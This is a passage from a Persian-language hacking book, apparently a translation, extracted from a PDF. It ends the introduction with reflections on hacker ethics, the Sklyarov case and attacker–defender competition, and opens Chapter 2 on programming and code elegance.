‫ﺻﻨﻌﺘﯽ ﺑﺎﺷﺪ ﻣﻨﻊ ﻣﯽ ﮐﺮد‪ .‬اﯾﻦ ﻫﻤﺎن ﻗﺎﻧﻮﻧﯽ اﺳﺖ ﮐﻪ ﻋﻠﯿﻪ دﻣﯿﺘﺮی اﺳﮑﻠﯿﺎروف )‪ ،(Dmitry Sklyarov‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و‬
‫ﻫﮑﺮ روﺳﯽ اﺳﺘﻔﺎده ﺷﺪ‪ .‬او ﻧﺮم اﻓﺰاری را ﺟﻬﺖ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ رﻣﺰﻧﮕﺎری ﺳﺎده ی ﻧﺮم اﻓـﺰار ﺷـﺮﮐﺖ ‪ Adobe‬ﻧﻮﺷـﺘﻪ‬
‫ﺑﻮد و ﯾﺎﻓﺘﻪ ﻫﺎﯾﺶ را در ﯾﮏ ﻫﻤﺎﯾﺶ ﻫﮑﺮی در آﻣﺮﯾﮑﺎ اﺑﺮاز ﮐـﺮده ﺑـﻮد‪ FBI .‬ﺑـﺴﺮﻋﺖ او را ﺗﻮﻗﯿـﻒ ﮐـﺮد و ﺑـﻪ اﯾـﻦ‬
‫ﺗﺮﺗﯿﺐ ﯾﮏ ﻧﺒﺮد ﻃﻮﻻﻧﯽ ﻣﺪت ﻗﺎﻧﻮﻧﯽ ﺳﺮ ﮔﺮﻓﺖ‪ .‬ﺑﺮ اﺳﺎس ﻗﺎﻧﻮن‪ ،‬ﭘﯿﭽﯿﺪﮔﯽِ ﮐﻨﺘﺮل ﻫﺎی ﻣﺼﺮﻓﯽ ﺻﻨﻌﺘﯽ ﻣﻬﻢ ﻧﯿـﺴﺖ‪-‬‬
‫از ﻟﺤﺎظ ﻓﻨﯽ‪ ،‬ﻣﻬﻨﺪﺳﯽ ﻣﻌﮑﻮس ﯾﺎ ﺣﺘﯽ ﺑﺤﺚ در ﻣﻮرد ‪) Pig Latin‬زﺑﺎن ﺷﺒﻪ‪-‬ﻻﺗﯿﻨﯽ ﮐﻪ ﻫﮑﺮﻫﺎ و ﮔﺎﻫﯽ اوﻗﺎت ﭘﻠﯿﺴﻬﺎ‬
‫از آن اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ(‪ ،‬در ﺻﻮرﺗﯽ ﮐﻪ از آﻧﻬﺎ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﮐﻨﺘﺮل ﻣﺼﺮﻓﯽ ﺻﻨﻌﺘﯽ اﺳﺘﻔﺎده ﺷﻮد‪ ،‬ﻣﻤﻨﻮع ﺑﻮد‪ .‬ﺑﺎ ﺗﻮﺟـﻪ‬
‫ﺑﻪ ﻣﻄﺎﻟﺐ ﭘﯿﺶ ﮔﻔﺘﻪ ﻫﮑﺮﻫﺎ و ﮐﺮﮐﺮﻫﺎ ﭼﻪ ﮐﺴﺎﻧﯽ ﻫﺴﺘﻨﺪ؟ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻗﻮاﻧﯿﻦ در ﺻﺤﺒﺖ آزاداﻧـﻪ دﺧﺎﻟـﺖ دارﻧـﺪ‪ ،‬آﯾـﺎ‬
‫ﮐﺮﮐﺮﻫﺎی ﺧﻮب ﮐﻪ ﻧﻈﺮﺷﺎن را اﺑﺰار ﻣﯽ ﮐﻨﻨﺪ ﺑﺪ ﻣﯽ ﺷﻮﻧﺪ؟ ﻣﻌﺘﻘﺪم ﮐﻪ روﺣﯿﻪ ﻫﮑﺮی ﺑﺮ ﻗـﻮاﻧﯿﻦ دوﻟﺘـﯽ ﺑﺮﺗـﺮی دارد‪،‬‬
‫ﻫﻤﭽﻨﺎن در ﻫﺮ ﮔﺮوه اﻃﻼﻋﺎﺗﯽ‪ ،‬ﻫﻤﯿﺸﻪ اﻓﺮادی وﺟﻮد داﺷﺘﻪ اﻧﺪ ﮐﻪ از اﯾﻦ اﻃﻼﻋﺎت ﺑﺮای اﺟﺮای اﻫﺪاف ﺷـﻮم اﺳـﺘﻔﺎده‬
‫ﮐﺮده ﺑﺎﺷﻨﺪ‪.‬‬
‫داﻧﺸﻤﻨﺪان ﻓﯿﺰﯾﮏ ﻫﺴﺘﻪ ای و ﺑﯿﻮﺷﯿﻤﯽ را ﻣﯽ ﺗﻮان ﺑﺮای ﻗﺘﻞ و ﻏﺎرت ﺑﻪ ﮐﺎر ﮔﻤﺎرد‪ ،‬اﻣﺎ ﻫﻨﻮز آﻧﻬﺎ ﺑـﺮای ﻣـﺎ ﻣﻬﻤﺘـﺮﯾﻦ‬
‫ﭘﯿﺸﺮﻓﺖ ﻋﻠﻤﯽ و داروﻫﺎی ﻣﺪرن را ﺑﻪ ارﻣﻐﺎن ﻣﯽ آورﻧﺪ‪ .‬ﻫﯿﭻ ﭼﯿﺰ ﺧﻮب ﯾﺎ ﺑﺪی راﺟﻊ ﺑﻪ ﺧﻮد اﻃﻼﻋﺎت و داﻧﺶ وﺟـﻮد‬
‫ﻧﺪارد؛ اﺧﻼق‪ ،‬در ﮐﺎرﺑﺮد آن داﻧﺶ ﻧﻬﻔﺘﻪ اﺳﺖ‪ .‬ﺣﺘﯽ اﮔﺮ ﻣﺎ ﺑﺨﻮاﻫﯿﻢ ﻧﻤﯽ ﺗـﻮاﻧﯿﻢ داﻧـﺶ را ﻣﺘﻮﻗـﻒ ﮐﻨـﯿﻢ‪ ،‬ﻣﺜـﻞ ﺗﻮﻗـﻒ‬
‫ﭼﮕﻮﻧﮕﯽ ﺗﺒﺪﯾﻞ ﻣﻮاد ﺑﻪ اﻧﺮژی ﯾﺎ ﺗﻮﻗﻒ ﺟﺮﯾﺎن ﭘﯿﻮﺳﺘﻪ در ﭘﯿﺸﺮﻓﺖ ﻓﻨﺎوریِ ﺟﺎﻣﻌﻪ‪ .‬ﺑﻪ ﻫﻤﺎن ﺗﺮﺗﯿـﺐ روﺣﯿـﻪ ﻫﮑـﺮی را‬
‫ﻧﻤﯽ ﺗﻮان ﻫﺮﮔﺰ ﻣﺘﻮﻗﻒ ﮐﺮد‪ ،‬ﺣﺘﯽ ﻧﻤﯽ ﺗﻮان ﺑﺴﺎدﮔﯽ آﻧﺮا ﻃﺒﻘﻪ ﺑﻨﺪی ﯾﺎ ﮐﺎﻟﺒﺪ ﺷﮑﺎﻓﯽ ﮐﺮد‪ .‬ﻫﮑﺮﻫﺎ داﺋﻤﺎ ﻣﺤﺪودﯾﺖ ﻫﺎ‬
‫را ﮐﻨﺎر ﻣﯽ زﻧﻨﺪ‪ ،‬ﻟﺬا ﻣﺎ را ﺑﻪ ﺳﻮی اﮐﺘﺸﺎف ﻫﺮ ﭼﻪ ﺑﯿﺸﺘﺮ ﻫﺪاﯾﺖ ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫ﻣﺘﺎﺳﻔﺎﻧﻪ ﮐﺘﺎب ﻫﺎﯾﯽ ﺑﺎ ﻋﻨﻮان ﮐﺘﺎب ﻫﺎی ﻫﮏ وﺟﻮد دارﻧﺪ ﮐﻪ ﭼﯿﺰی ﺟﺰ ﺧﻼﺻﻪ ای از ﺗﺠﺮﺑﯿﺎت اﻓـﺮاد دﯾﮕـﺮ ﻧﯿـﺴﺘﻨﺪ‪.‬‬
‫آﻧﻬﺎ ﺑﻪ ﺧﻮاﻧﻨﺪه ﻃﺮز اﺳﺘﻔﺎده از اﺑﺰار ﻣﻮﺟﻮد در ﯾﮏ ‪ CD‬را ﻣﯽ آﻣﻮزﻧﺪ‪ ،‬ﺑﺪون ﺗﻮﺿﯿﺢ ﺗﺌﻮری ﭘﻨﻬﺎن در اﯾﻦ اﺑﺰار و ﻟـﺬا‬
‫ﻓﺮدی را ﺗﺮﺑﯿﺖ ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﻓﻘﻂ در اﺳﺘﻔﺎده از اﺑﺰار دﯾﮕﺮان ﺗﺒﺤﺮ دارد! اﯾﻦ اﻓﺮاد ﻗﺎدر ﺑﻪ ﻓﻬﻢ اﯾﻦ اﺑﺰار ﯾﺎ ﺗﻮﻟﯿﺪ اﺑﺰار‬
‫ﺟﺪﯾﺪی ﻧﯿﺴﺘﻨﺪ‪ .‬ﺷﺎﯾﺪ واژه ﻫﺎی ‪ Script Kiddie‬ﮐﺎﻣﻼ در ﺧﻮر و ﺷﺎﯾﺴﺘﻪ آﻧﻬﺎ ﺑﺎﺷﺪ‪.‬‬
‫ﻫﮑﺮﻫﺎی واﻗﻌﯽ ﭘﯿﺸﮕﺎم ﻫﺴﺘﻨﺪ‪ :‬آﻧﻬﺎ ﮐﻪ ﻣﺘﺪﻫﺎ را ﭘﺎﯾﻪ ﮔﺬاری ﮐﺮده و اﺑﺰاری را ﻣﯽ ﺳﺎزﻧﺪ ﮐﻪ در ‪ CD‬ﻫـﺎی ﯾـﺎد ﺷـﺪه‬
‫ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬ﺻﺮف ﻧﻈﺮ از ﻗﺎﻧﻮن و ﺑﺎ ﻓﮑﺮ ﻣﻨﻄﻘﯽ ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﺑﺮای ﻫﺮ اﮐﺴﭙﻠﻮﯾﺘﯽ ﮐﻪ ﯾـﮏ ﻓـﺮد در ﯾـﮏ ﮐﺘـﺎب‬
‫ﻣﯽ ﺧﻮاﻧﺪ‪ ،‬ﯾﮏ اﺻﻼﺣﯿﻪ )‪ (patch‬ﺑﺮای ﻣﻘﺎﺑﻠﻪ ﺑﺎ آن وﺟﻮد دارد‪ .‬ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﻼ اﺻﻼح ﺷﺪه )‪ patch‬ﺷﺪه( در ﻣﻘﺎﺑـﻞ‬
‫اﯾﻦ ﻧﻮع ﺣﻤﻼت ﺧﺎص ﻣﺼﻮن ﻣﯽ ﺑﺎﺷﺪ‪ .‬ﻧﻔﻮذﮔﺮاﻧﯽ ﮐﻪ ﺑﺪون اﺑﺪاع و ﻧﻮآوری‪ ،‬ﺗﻨﻬﺎ از اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ‪،‬‬
‫ﻣﺤﮑﻮم ﺑﻪ ﺷﮑﺎر ﺣﯿﻮاﻧﺎت ﺿﻌﯿﻒ و اﺣﻤﻖ ﻫﺴﺘﻨﺪ‪ .‬ﻫﮑﺮﻫﺎی واﻗﻌﯽ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ و ﺿﻌﻒ ﻫﺎی ﻣﻮﺟﻮد در‬
‫ﻧﺮم اﻓﺰارﻫﺎ را ﭘﯿﺪا ﮐﺮده و ﺑﺮای آﻧﻬﺎ اﮐﺴﭙﻠﻮﯾﺖ ﺑﻨﻮﯾﺴﻨﺪ‪ .‬اﮔﺮ آﻧﻬﺎ ﺗﺼﻤﯿﻢ ﺑﮕﯿﺮﻧﺪ ﮐﻪ اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ را ﺑـﻪ ﯾـﮏ‬
‫ﻓﺮوﺷﻨﺪه )ﮐﻪ آن ﻧﺮم اﻓﺰار را اراﺋﻪ ﻣﯽ ﮐﻨﺪ( ﮔﺰارش ﻧﺪﻫﻨﺪ‪ ،‬آﻧﮕﺎه ﻣﯽ ﺗﻮاﻧﻨـﺪ از اﮐـﺴﭙﻠﻮﯾﺖ ﻫﺎﯾـﺸﺎن ﺑـﺮای ﺣﻤﻠـﻪ ﺑـﻪ‬
‫ﺳﯿﺴﺘﻢ ﻫﺎی ﮐﺎﻣﻼ اﺻﻼح ﺷﺪه اﺳﺘﻔﺎده ﮐﺮده و ﺑﻪ آﻧﻬﺎ دﺳﺖ ﯾﺎﺑﻨﺪ‪.‬‬
‫ﻟﺬا اﮔﺮ ﻫﯿﭻ اﺻﻼﺣﯿﻪ ای وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﭼﻪ ﭼﯿﺰ ﻣﯽ ﺗﻮاﻧﺪ ﻫﮑﺮﻫﺎ را از ﯾﺎﻓﺘﻦ ﺣﻔﺮه ﻫﺎی ﺟﺪﯾـﺪ در ﻧـﺮم اﻓﺰارﻫـﺎ و‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن آﻧﻬﺎ ﻣﻨﻊ ﮐﻨﺪ؟ ﺟﻮاب اﯾﻦ ﺳﻮال در ﺣﻘﯿﻘﺖ دﻟﯿﻞ وﺟﻮد ﺗﯿﻢ ﻫﺎی ﺗﺤﻘﯿﻘﯽ اﻣﻨﯿﺘﯽ اﺳﺖ ﮐﻪ ﻫـﺪف آﻧﻬـﺎ‬
‫ﺳﻌﯽ در ﯾﺎﻓﺘﻦ اﯾﻦ ﺣﻔﺮه ﻫﺎ و ﮔﻮﺷﺰد ﮐﺮدن آﻧﻬﺎ ﺑﻪ ﻓﺮوﺷﻨﺪه ﻫﺎ اﺳﺖ‪ ،‬ﻗﺒﻞ از اﯾﻨﮑﻪ ﺗﻮﺳﻂ ﻫﮑﺮﻫﺎ اﮐـﺴﭙﻠﻮﯾﺖ ﺷـﻮﻧﺪ‪.‬‬
‫ﯾﮏ ﺳﯿﺮﺗﮑﺎﻣﻞ ﺳﻮدﻣﻨﺪ ﺑﯿﻦ ﻫﮑﺮﻫﺎﯾﯽ ﮐﻪ ﺳﯿﺴﺘﻢ ﻫﺎ را اﻣﻦ ﮐﺮده )ﻫﮑﺮﻫﺎی ﻣﺪاﻓﻊ( و آﻧﻬﺎﯾﯽ ﮐﻪ ﺑﻪ آﻧﻬﺎ ﻧﻔﻮذ ﻣﯽ ﮐﻨﻨﺪ‬
‫)ﻫﮑﺮﻫﺎی ﻣﻬﺎﺟﻢ( وﺟﻮد دارد‪ .‬اﯾﻦ رﻗﺎﺑﺖ ﺑﺮای ﻣﺎ اﻣﻨﯿﺘﯽ ﺑﯿﺸﺘﺮ و ﻧﯿﺰ ﺗﮑﻨﯿﮏ ﻫﺎی ﺣﻤﻠﻪ ﭘﯿﭽﯿﺪه ﺗﺮ و ﻣﺎﻫﺮاﻧـﻪ ﺗـﺮی را‬
‫ﺑﻪ ارﻣﻐﺎن ﻣﯽ آورد‪ .‬ﻣﻘﺪﻣﻪ وﺟﻮدی و ﭘﯿﺸﺮﻓﺖ ﺳﯿﺴﺘﻢ ﻫﺎی ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ )‪ ،(IDS‬ﻧﺨـﺴﺘﯿﻦ ﻧﻤﻮﻧـﻪ از اﯾـﻦ روﻧـﺪ در‬
‫ﭘﯿﺸﺮﻓﺖ ﻣﺤﺼﻮﻻت ﺷﺮﮐﺖ ﻫﺎ اﺳﺖ‪ .‬ﻫﮑﺮﻫﺎی ﻣـﺪاﻓﻊ ﺳﯿـﺴﺘﻢ ﻫـﺎی ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ را ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨﻨـﺪ و در ﻣﻘﺎﺑـﻞ‪،‬‬
‫ﻫﮑﺮﻫﺎی ﻣﻬﺎﺟﻢ ﺗﮑﻨﯿﮏ ﻫﺎی اﺟﺘﻨﺎب از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔـﻮذ )‪ (IDS Evasion‬را رﺷـﺪ و ﺗﻮﺳـﻌﻪ ﻣـﯽ دﻫﻨـﺪ‪.‬‬

‫‪7‬‬
‫ﻧﺘﯿﺠﻪ ﺗﻤﺎم اﯾﻦ ﺗﻘﺎﺑﻞ ﻫﺎ‪ ،‬ﺗﻮﻟﯿﺪ ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﺑﻬﺘﺮ‪ ،‬ﺑﺰرﮔﺘﺮ و ﻗﻮی ﺗﺮ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ اﯾﻦ ﺗﻘﺎﺑـﻞ‪،‬‬
‫ﻣﺜﺒﺖ اﺳﺖ ﭼﺮا ﮐﻪ اﯾﻦ ﺗﻌﺎﻣﻞ‪ ،‬اﻧﺴﺎن ﻫﺎی ﺑﺎﻫﻮش ﺗﺮ‪ ،‬اﻣﻨﯿﺖ ﺑﺎﻻﺗﺮ‪ ،‬ﻧﺮم اﻓﺰار ﻗﺪرﺗﻤﻨﺪﺗﺮ‪ ،‬ﺗﮑﻨﯿﮏ ﻫﺎی ﺣـﻞ ﻣـﺴﺌﻠﻪ ی‬
‫ﻣﺒﺘﮑﺮاﻧﻪ ﺗﺮ و ﺣﺘﯽ ﯾﮏ اﻗﺘﺼﺎد ﺟﺪﯾﺪ را ﺑﺪﻧﺒﺎل ﻣﯽ آورد‪.‬‬
‫ﻗﺼﺪ اﯾﻦ ﮐﺘﺎب آﻣﻮﺧﺘﻦ روح واﻗﻌﯽ ﻫﮑﯿﻨﮓ اﺳـﺖ‪ .‬اﯾـﻦ ﮐﺘـﺎب ﺗﮑﻨﯿـﮏ ﻫـﺎی ﻣﺨﺘﻠـﻒ ﭘﺎﯾـﻪ در ﻫﮑﯿﻨـﮓ را ﺑﺮرﺳـﯽ و‬
‫ﮐﺎﻟﺒﺪﺷﮑﺎﻓﯽ ﻣﯽ ﮐﻨﺪ و ﺧﻮاﻧﻨﺪه ﭼﮕﻮﻧﮕﯽ ﻫﺎ و دﻟﯿﻞ ﮐﺎرﮐﺮد اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ را درک ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﺑﻪ اﯾﻦ ﻃﺮﯾﻖ ﺑﺎ ﻋﺮﺿﻪ‬
‫اﯾﻦ اﻃﻼﻋﺎت‪ ،‬ﺧﻮاﻧﻨﺪه ﺑﻪ درک ﻋﻤﯿﻘﯽ از ﻣﻔﺎﻫﯿﻢ ﻫﮑﯿﻨﮓ ﺧﻮاﻫﺪ رﺳﯿﺪ ﮐﻪ ﻣﻤﮑـﻦ اﺳـﺖ او را ﺑـﻪ ارﺗﻘـﺎء ﺗﮑﻨﯿـﮏ ﻫـﺎی‬
‫ﺣﺎﺿﺮ ﯾﺎ ﺣﺘﯽ ﻧﻮآوری ﺗﮑﻨﯿﮏ ﻫﺎی ﺟﺪﯾﺪ ﺳﻮق دﻫﺪ‪ .‬اﻣﯿﺪوارم اﯾﻦ ﮐﺘﺎب ذات ﮐﻨﺠﮑﺎوی را در ﺷـﻤﺎ ﺗﺤﺮﯾـﮏ ﮐـﺮده و‬
‫ﺻﺮف ﻧﻈﺮ از اﯾﻨﮑﻪ ﮐﺪام ﻃﺮف دﯾﻮار اﯾﺴﺘﺎده اﯾﺪ )ﻫﮑﺮ ﻣﻬﺎﺟﻢ ﻣﯽ ﺷﻮﯾﺪ ﯾﺎ ﻫﮑﺮﻣﺪاﻓﻊ(‪ ،‬ﺑﻪ ﻃﺮﯾﻘﯽ ﺷﻤﺎ را ﺑﺮای ﺷﺮﮐﺖ‬
‫در ﻫﻨﺮ ﻫﮑﯿﻨﮓ ﺑﺮاﻧﮕﯿﺰد‪.‬‬

‫‪8‬‬
‫ﻓﺼﻞ ‪ :2‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ‬

‫ﻣﺮور‬

‫ﮐﻠﻤﻪ ﻫﮑﺮ ﻫﻢ ﺑﻪ اﻓﺮادی ﮐﻪ ﮐﺪﻧﻮﯾﺴﯽ )ﺣﻤﻼت( ﻣﯽ ﮐﻨﻨﺪ اﻃﻼق ﻣﯽ ﺷﻮد و ﻫﻢ ﺑﻪ اﻓـﺮادی ﮐـﻪ آن ﮐـﺪﻫﺎ را اﮐـﺴﭙﻠﻮﯾﺖ‬
‫ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﺣﺘﯽ ﺑﺎ وﺟﻮد اﻫﺪاف ﻣﺘﻔﺎوت آﻧﻬﺎ‪ ،‬ﻫﺮ دو ﮔﺮوه از ﺗﮑﻨﯿﮏ ﻫﺎی ﺣﻞ ﻣﺴﺌﻠﻪ ﻣﺸﺎﺑﻬﯽ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ‪ .‬ﭼـﻮن‬
‫ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻣﻔﯿﺪ اﺳﺖ و ﺑﻌﮑﺲ‪ ،‬ﻓﻬﻢ روش ﻫﺎی اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫـﺎ ﺑـﻪ‬
‫ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﯿﺰ ﮐﻤﮏ ﻣﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﻫﮑﺮﻫﺎ ﻣﻌﻤﻮﻻ ﻫﺮ دو ﮐﺎر را در ﮐﻨﺎر ﻫﻢ اﻧﺠـﺎم ﻣـﯽ دﻫﻨـﺪ‪ .‬ﻣـﻮارد ﺟـﺎﻟﺒﯽ در‬
‫ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﺪﻧﻮﯾﺴﯽ ﻇﺮﯾﻒ )‪ (elegant‬و ﻧﯿﺰ ﺗﮑﻨﯿﮏ ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ اﮐﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ وﺟـﻮد‬
‫دارد‪ .‬ﻋﻠﻢ ‪ Hacking‬در اﺻﻞ ﻓﺮآﯾﻨﺪ ﯾﺎﻓﺘﻦ راه ﺣﻞ زﯾﺮﮐﺎﻧﻪ ﺑﺮای ﯾﮏ ﻣﺴﺌﻠﻪ اﺳﺖ‪.‬‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﺮﻧﺎﻣﻪ ای ﺟﻬﺖ ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﻣﻮرد ﻧﻈﺮ )ﮐﻪ ﻣﻌﻤﻮﻻ روی دور زدن ﺗـﺪاﺑﯿﺮ اﻣﻨﯿﺘـﯽ ﻣﺘﻤﺮﮐـﺰ ﻣـﯽ ﺷـﻮﻧﺪ(‬
‫ﻣﻌﻤﻮﻻ در اﺳﺘﻔﺎده از ﻗﻮاﻧﯿﻦ ﮐﺎﻣﭙﯿﻮﺗﺮی در روﺷﻬﺎی ﻧﺎﺷﻨﺎﺧﺘﻪ ﭘﯿﻮﻧﺪ ﻣﯽ ﺧﻮرﻧـﺪ‪ .‬در ﻧﻮﺷـﺘﻦ ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ از ﻓﺮاﯾﻨـﺪﻫﺎی‬
‫ﯾﮑﺴﺎﻧﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد )اﯾﻨﮑﻪ آﻧﻬﺎ ﻧﯿﺰ ﻗﻮاﻧﯿﻦ ﮐﺎﻣﭙﯿﻮﺗﺮی را ﺑﻪ ﻃﺮق ﺟﺪﯾﺪ و اﺑﺪاﻋﯽ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ(‪ ،‬اﻣـﺎ ﻫـﺪف‬
‫ﻧﻬﺎﯾﯽ در ﺗﻤﺎم ﻣﻮارد دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﺑﻬﺘﺮﯾﻦ و ﻣﻮﺛﺮﺗﺮﯾﻦ روش ﻣﻤﮑﻦ ﺟﻬﺖ اﻧﺠﺎم ﯾﮏ ﻋﻤﻞ ﻣﻌﯿﻦ اﺳﺖ‪ .‬ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی ﺑـﯽ‬
‫ﺷﻤﺎری را ﻣﯽ ﺗﻮان ﺑﺮای اﻧﺠﺎم ﯾﮏ ﻋﻤﻞ ﻣﻌﯿﻦ ﻧﻮﺷﺖ‪ ،‬اﻣﺎ ﺑﺴﯿﺎری از راه ﺣﻞ ﻫﺎ در اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﻄﻮر ﻏﯿﺮﻻزم ﺑﺰرگ‪،‬‬
‫ﭘﯿﭽﯿﺪه و ﻧﺎﻣﺮﺗﺐ ﻫﺴﺘﻨﺪ‪ .‬راه ﺣﻞ ﻫﺎی ﮐﻤﯽ در اﯾﻦ ﺑـﯿﻦ ﮐﻮﭼـﮏ‪ ،‬ﮐـﺎرا و ﻣﺮﺗـﺐ ﻫـﺴﺘﻨﺪ‪ .‬اﯾـﻦ ﺧـﺼﻮﺻﯿﺖ از ﺑﺮﻧﺎﻣـﻪ‪،‬‬
‫ﻇﺮاﻓﺖ )‪ (elegance‬ﻧﺎم دارد و راه ﺣﻞ ﻫﺎی ﻋﺎﻗﻼﻧﻪ و ﻣﺒﺘﮑﺮاﻧﻪ ﮐﻪ ﻣﺎ را ﺑﻪ اﯾﻦ ﺳﻄﺢ از ﮐﺎراﯾﯽ ﺳﻮق ﻣـﯽ دﻫﻨـﺪ‪ ،‬ﻫـﮏ‬
‫)‪ (hack‬ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﻫﮑﺮﻫﺎ در ﻫﺮ ﮔﺮاﯾﺸﯽ از دو ﺟﻨﺒﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ )ﮐﺪﻧﻮﯾـﺴﯽ ﯾـﺎ اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن آن( ﮐـﻪ‬
‫ﺑﺎﺷﻨﺪ‪ ،‬زﯾﺒﺎﯾﯽ ﻣﻮﺟﻮد در ﮐﺪﻫﺎی ﻇﺮﯾﻒ و ﻗﻮه اﺑﺘﮑﺎر ﻣﻮﺟﻮد در ﻫﮏ ﻫﺎی ﻋﺎﻗﻼﻧﻪ را ﺳﺘﺎﯾﺶ ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫ﺑﻪ ﻋﻠﺖ رﺷﺪ ﻧﺎﮔﻬﺎﻧﯽ ﻗﺪرت ﻣﺤﺎﺳﺒﺎﺗﯽ و ﺟﻮﺷﺶ ﻣﺮاﮐﺰ اﻗﺘﺼﺎدی در اﯾﻨﺘﺮﻧﺖ‪ ،‬اﻫﻤﯿﺖ ﮐﻤﺘﺮی ﺑﻪ ﻫﮑﻬﺎی ﻋﺎﻗﻼﻧﻪ و ﮐـﺪ‬
‫ﻇﺮﯾﻒ داده ﺷﺪه اﺳﺖ‪ .‬در اﯾﻦ ﻣﯿﺎن ﺗﻨﻬﺎ ﻫﺪف رﺳﯿﺪن ﻫﺮﭼﻪ ﺳﺮﯾﻊ ﺗﺮ و ارزان ﺗﺮ ﺑﻪ ﮐﺪ ﻋﻤﻠﯿﺎﺗﯽ‪ 4‬اﺳﺖ‪ .‬ﺻﺮف ﮐﺮدن‬
‫‪ 5‬ﺳﺎﻋﺖ وﻗﺖ ﺑﯿﺸﺘﺮ ﺟﻬﺖ ﺗﻮﻟﯿﺪ ﯾﮏ ﮐﺪ ﺳﺮﯾﻊ ﺗﺮ و ﮐﺎراﺗﺮ از ﻟﺤﺎظ ﺣﺎﻓﻈﻪ ای‪ ،‬ﮐﻪ در ﭘﺮدازﻧﺪه ﻫـﺎی ﻣـﺪرن ﻣـﺸﺘﺮی‬
‫ﻫﺎ ﻓﻘﻂ از ﻫﺪر رﻓﺘﻦ ﺗﻌﺪاد ﻣﯿﻠﯽ ﺛﺎﻧﯿﻪ ﻫﺎی ﮐﻤﯽ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ و ﺷـﺎﯾﺪ ﮐﻤﺘـﺮ از ﯾـﮏ درﺻـﺪ از ﻣﯿﻠﯿـﻮن ﻫـﺎ ﺑﺎﯾـﺖ‬
‫ﺣﺎﻓﻈﻪ ای ﮐﻪ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی آﻧﻬﺎ در دﺳﺘﺮس اﺳﺖ ﺑﺎﺷﺪ‪ ،‬از دﯾﺪ ﺗﺠﺎری ﻗﺎﺑﻞ ﻗﺒﻮل ﻧﯿﺴﺖ‪ .‬زﻣﺎﻧﯽ ﮐﻪ دﻟﯿﻞ اﺻﻠﯽ ﭘـﻮل‬
‫ﺑﺎﺷﺪ‪ ،‬ﺻﺮف زﻣﺎن روی ﻫﮏ ﻫﺎی ﻋﺎﻗﻼﻧﻪ ﺗﺮ ﺑﺮای ﺑﻬﯿﻨﻪ ﺳﺎزی ﮐﺪ ﻣﻌﻘﻮل ﻧﯿﺴﺖ‪.‬‬
‫در اﯾﻦ ﺑﯿﻦ ﻓﻘﻂ ﻫﮑﺮﻫﺎ ﺑﻪ اﻫﻤﯿﺖ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻇﺮﯾﻒ ﭘﯽ ﺑﺮده اﻧﺪ‪ :‬ﻋﻼﻗﻪ ﻣﻨﺪان ﺑـﻪ ﮐـﺎﻣﭙﯿﻮﺗﺮ ﮐـﻪ ﻫـﺪف ﻧﻬـﺎﯾﯽ آﻧﻬـﺎ‬
